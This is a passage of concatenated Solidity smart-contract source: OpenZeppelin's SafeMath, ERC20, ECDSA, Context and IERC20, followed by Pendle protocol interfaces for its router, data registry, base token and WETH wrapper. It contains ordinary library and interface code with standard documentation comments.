errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IPendleBaseToken is IERC20 { /** * @notice Decreases the allowance granted to spender by the caller. * @param spender The address to reduce the allowance from. * @param subtractedValue The amount allowance to subtract. * @return Returns true if allowance has decreased, otherwise false. **/ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); /** * @notice The yield contract start in epoch time. * @return Returns the yield start date. **/ function start() external view returns (uint256); /** * @notice The yield contract expiry in epoch time. * @return Returns the yield expiry date. **/ function expiry() external view returns (uint256); /** * @notice Increases the allowance granted to spender by the caller. * @param spender The address to increase the allowance from. * @param addedValue The amount allowance to add. * @return Returns true if allowance has increased, otherwise false **/ function increaseAllowance(address spender, uint256 addedValue) external returns (bool); /** * @notice Returns the number of decimals the token uses. * @return Returns the token's decimals. **/ function decimals() external view returns (uint8); /** * @notice Returns the name of the token. * @return Returns the token's name. **/ function name() external view returns (string memory); /** * @notice Returns the symbol of the token. * @return Returns the token's symbol. **/ function symbol() external view returns (string memory); /** * @notice approve using the owner's signature **/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; pragma abicoder v2; import "../interfaces/IWETH.sol"; import "./IPendleData.sol"; import "../libraries/PendleStructs.sol"; import "./IPendleMarketFactory.sol"; interface IPendleRouter { /** * @notice Emitted when a market for a future yield token and an ERC20 token is created. * @param marketFactoryId Forge identifier. * @param xyt The address of the tokenized future yield token as the base asset. * @param token The address of an ERC20 token as the quote asset. * @param market The address of the newly created market. **/ event MarketCreated( bytes32 marketFactoryId, address indexed xyt, address indexed token, address indexed market ); /** * @notice Emitted when a swap happens on the market. * @param trader The address of msg.sender. * @param inToken The input token. * @param outToken The output token. * @param exactIn The exact amount being traded. * @param exactOut The exact amount received. * @param market The market address. **/ event SwapEvent( address indexed trader, address inToken, address outToken, uint256 exactIn, uint256 exactOut, address market ); /** * @dev Emitted when user adds liquidity * @param sender The user who added liquidity. * @param token0Amount the amount of token0 (xyt) provided by user * @param token1Amount the amount of token1 provided by user * @param market The market address. * @param exactOutLp The exact LP minted */ event Join( address indexed sender, uint256 token0Amount, uint256 token1Amount, address market, uint256 exactOutLp ); /** * @dev Emitted when user removes liquidity * @param sender The user who removed liquidity. * @param token0Amount the amount of token0 (xyt) given to user * @param token1Amount the amount of token1 given to user * @param market The market address. * @param exactInLp The exact Lp to remove */ event Exit( address indexed sender, uint256 token0Amount, uint256 token1Amount, address market, uint256 exactInLp ); /** * @notice Gets a reference to the PendleData contract. * @return Returns the data contract reference. **/ function data() external view returns (IPendleData); /** * @notice Gets a reference of the WETH9 token contract address. * @return WETH token reference. **/ function weth() external view returns (IWETH); /*********** * FORGE * ***********/ function newYieldContracts( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external returns (address ot, address xyt); function redeemAfterExpiry( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external returns (uint256 redeemedAmount); function redeemDueInterests( bytes32 forgeId, address underlyingAsset, uint256 expiry, address user ) external returns (uint256 interests); function redeemUnderlying( bytes32 forgeId, address underlyingAsset, uint256 expiry, uint256 amountToRedeem ) external returns (uint256 redeemedAmount); function renewYield( bytes32 forgeId, uint256 oldExpiry, address underlyingAsset, uint256 newExpiry, uint256 renewalRate ) external returns ( uint256 redeemedAmount, uint256 amountRenewed, address ot, address xyt, uint256 amountTokenMinted ); function tokenizeYield( bytes32 forgeId, address underlyingAsset, uint256 expiry, uint256 amountToTokenize, address to ) external returns ( address ot, address xyt, uint256 amountTokenMinted ); /*********** * MARKET * ***********/ function addMarketLiquidityDual( bytes32 _marketFactoryId, address _xyt, address _token, uint256 _desiredXytAmount, uint256 _desiredTokenAmount, uint256 _xytMinAmount, uint256 _tokenMinAmount ) external payable returns ( uint256 amountXytUsed, uint256 amountTokenUsed, uint256 lpOut ); function addMarketLiquiditySingle( bytes32 marketFactoryId, address xyt, address token, bool forXyt, uint256 exactInAsset, uint256 minOutLp ) external payable returns (uint256 exactOutLp); function removeMarketLiquidityDual( bytes32 marketFactoryId, address xyt, address token, uint256 exactInLp, uint256 minOutXyt, uint256 minOutToken ) external returns (uint256 exactOutXyt, uint256 exactOutToken); function removeMarketLiquiditySingle( bytes32 marketFactoryId, address xyt, address token, bool forXyt, uint256 exactInLp, uint256 minOutAsset ) external returns (uint256 exactOutXyt, uint256 exactOutToken); /** * @notice Creates a market given a protocol ID, future yield token, and an ERC20 token. * @param marketFactoryId Market Factory identifier. * @param xyt Token address of the future yield token as base asset. * @param token Token address of an ERC20 token as quote asset. * @return market Returns the address of the newly created market. **/ function createMarket( bytes32 marketFactoryId, address xyt, address token ) external returns (address market); function bootstrapMarket( bytes32 marketFactoryId, address xyt, address token, uint256 initialXytLiquidity, uint256 initialTokenLiquidity ) external payable; function swapExactIn( address tokenIn, address tokenOut, uint256 inTotalAmount, uint256 minOutTotalAmount, bytes32 marketFactoryId ) external payable returns (uint256 outTotalAmount); function swapExactOut( address tokenIn, address tokenOut, uint256 outTotalAmount, uint256 maxInTotalAmount, bytes32 marketFactoryId ) external payable returns (uint256 inTotalAmount); function redeemLpInterests(address market, address user) external returns (uint256 interests); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 wad) external; } // SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; import "./IPendleRouter.sol"; import "./IPendleYieldToken.sol"; import "./IPendlePausingManager.sol"; import "./IPendleMarket.sol"; interface IPendleData { /** * @notice Emitted when validity of a forge-factory pair is updated * @param _forgeId the forge id * @param _marketFactoryId the market factory id * @param _valid valid or not **/ event ForgeFactoryValiditySet(bytes32 _forgeId, bytes32 _marketFactoryId, bool _valid); /** * @notice Emitted when Pendle and PendleFactory addresses have been updated. * @param treasury The address of the new treasury contract. **/ event TreasurySet(address treasury); /** * @notice Emitted when LockParams is changed **/ event LockParamsSet(uint256 lockNumerator, uint256 lockDenominator); /** * @notice Emitted when ExpiryDivisor is changed **/ event ExpiryDivisorSet(uint256 expiryDivisor); /** * @notice Emitted when forge fee is changed **/ event ForgeFeeSet(uint256 forgeFee); /** * @notice Emitted when interestUpdateRateDeltaForMarket is changed * @param interestUpdateRateDeltaForMarket new interestUpdateRateDeltaForMarket setting **/ event InterestUpdateRateDeltaForMarketSet(uint256 interestUpdateRateDeltaForMarket); /** * @notice Emitted when market fees are changed * @param _swapFee new swapFee setting * @param _protocolSwapFee new protocolSwapFee setting **/ event MarketFeesSet(uint256 _swapFee, uint256 _protocolSwapFee); /** * @notice Emitted when the curve shift block delta is changed * @param _blockDelta new block delta setting **/ event CurveShiftBlockDeltaSet(uint256 _blockDelta); /** * @dev Emitted when new forge is added * @param marketFactoryId Human Readable Market Factory ID in Bytes * @param marketFactoryAddress The Market Factory Address */ event NewMarketFactory(bytes32 indexed marketFactoryId, address indexed marketFactoryAddress); /** * @notice Set/update validity of a forge-factory pair * @param _forgeId the forge id * @param _marketFactoryId the market factory id * @param _valid valid or not **/ function setForgeFactoryValidity( bytes32 _forgeId, bytes32 _marketFactoryId, bool _valid ) external; /** * @notice Sets the PendleTreasury contract addresses. * @param newTreasury Address of new treasury contract. **/ function setTreasury(address newTreasury) external; /** * @notice Gets a reference to the PendleRouter contract. * @return Returns the router contract reference. **/ function router() external view returns (IPendleRouter); /** * @notice Gets a reference to the PendleRouter contract. * @return Returns the router contract reference. **/ function pausingManager() external view returns (IPendlePausingManager); /** * @notice Gets the treasury contract address where fees are being sent to. * @return Address of the treasury contract. **/ function treasury() external view returns (address); /*********** * FORGE * ***********/ /** * @notice Emitted when a forge for a protocol is added. * @param forgeId Forge and protocol identifier. * @param forgeAddress The address of the added forge. **/ event ForgeAdded(bytes32 indexed forgeId, address indexed forgeAddress); /** * @notice Adds a new forge for a protocol. * @param forgeId Forge and protocol identifier. * @param forgeAddress The address of the added forge. **/ function addForge(bytes32 forgeId, address forgeAddress) external; /** * @notice Store new OT and XYT details. * @param forgeId Forge and protocol identifier. * @param ot The address of the new XYT. * @param xyt The address of the new XYT. * @param underlyingAsset Token address of the underlying asset. * @param expiry Yield contract expiry in epoch time. **/ function storeTokens( bytes32 forgeId, address ot, address xyt, address underlyingAsset, uint256 expiry ) external; /** * @notice Set a new forge fee * @param _forgeFee new forge fee **/ function setForgeFee(uint256 _forgeFee) external; /** * @notice Gets the OT and XYT tokens. * @param forgeId Forge and protocol identifier. * @param underlyingYieldToken Token address of the underlying yield token. * @param expiry Yield contract expiry in epoch time. * @return ot The OT token references. * @return xyt The XYT token references. **/ function getPendleYieldTokens( bytes32 forgeId, address underlyingYieldToken, uint256 expiry ) external view returns (IPendleYieldToken ot, IPendleYieldToken xyt); /** * @notice Gets a forge given the identifier. * @param forgeId Forge and protocol identifier. * @return forgeAddress Returns the forge address. **/ function getForgeAddress(bytes32 forgeId) external view returns (address forgeAddress); /** * @notice Checks if an XYT token is valid. * @param forgeId The forgeId of the forge. * @param underlyingAsset Token address of the underlying asset. * @param expiry Yield contract expiry in epoch time. * @return True if valid, false otherwise. **/ function isValidXYT( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external view returns (bool); /** * @notice Checks if an OT token is valid. * @param forgeId The forgeId of the forge. * @param underlyingAsset Token address of the underlying asset. * @param expiry Yield contract expiry in epoch time. * @return True if valid, false otherwise. **/ function isValidOT( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external view returns (bool); function validForgeFactoryPair(bytes32 _forgeId, bytes32 _marketFactoryId) external view returns (bool); /** * @notice Gets a reference to a specific OT. * @param forgeId Forge and protocol identifier. * @param underlyingYieldToken Token address of the underlying yield token. * @param expiry Yield contract expiry in epoch time. * @return ot Returns the reference to an OT. **/ function otTokens( bytes32 forgeId, address underlyingYieldToken, uint256 expiry ) external view returns (IPendleYieldToken ot); /** * @notice Gets a reference to a specific XYT. * @param forgeId Forge and protocol identifier. * @param underlyingAsset Token address of the underlying asset * @param expiry Yield contract expiry in epoch time. * @return xyt Returns the reference to an XYT. **/ function xytTokens( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external view returns (IPendleYieldToken xyt); /*********** * MARKET * ***********/ event MarketPairAdded(address indexed market, address indexed xyt, address indexed token); function addMarketFactory(bytes32 marketFactoryId, address marketFactoryAddress) external; function isMarket(address _addr) external view returns (bool result); function isXyt(address _addr) external view returns (bool result); function addMarket( bytes32 marketFactoryId, address xyt, address token, address market ) external; function setMarketFees(uint256 _swapFee, uint256 _protocolSwapFee) external; function setInterestUpdateRateDeltaForMarket(uint256 _interestUpdateRateDeltaForMarket) external; function setLockParams(uint256 _lockNumerator, uint256 _lockDenominator) external; function setExpiryDivisor(uint256 _expiryDivisor) external; function setCurveShiftBlockDelta(uint256 _blockDelta) external; /** * @notice Displays the number of markets currently existing. * @return Returns markets length, **/ function allMarketsLength() external view returns (uint256); function forgeFee() external view returns (uint256); function interestUpdateRateDeltaForMarket() external view returns (uint256); function expiryDivisor() external view returns (uint256); function lockNumerator() external view returns (uint256); function lockDenominator() external view returns (uint256); function swapFee() external view returns (uint256); function protocolSwapFee() external view returns (uint256); function curveShiftBlockDelta() external view returns (uint256); function getMarketByIndex(uint256 index) external view returns (address market); /** * @notice Gets a market given a future yield token and an ERC20 token. * @param xyt Token address of the future yield token as base asset. * @param token Token address of an ERC20 token as quote asset. * @return market Returns the market address. **/ function getMarket( bytes32 marketFactoryId, address xyt, address token ) external view returns (address market); /** * @notice Gets a market factory given the identifier. * @param marketFactoryId MarketFactory identifier. * @return marketFactoryAddress Returns the factory address. **/ function getMarketFactoryAddress(bytes32 marketFactoryId) external view returns (address marketFactoryAddress); function getMarketFromKey( address xyt, address token, bytes32 marketFactoryId ) external view returns (address market); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; struct TokenReserve { uint256 weight; uint256 balance; } struct PendingTransfer { uint256 amount; bool isOut; } // SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * 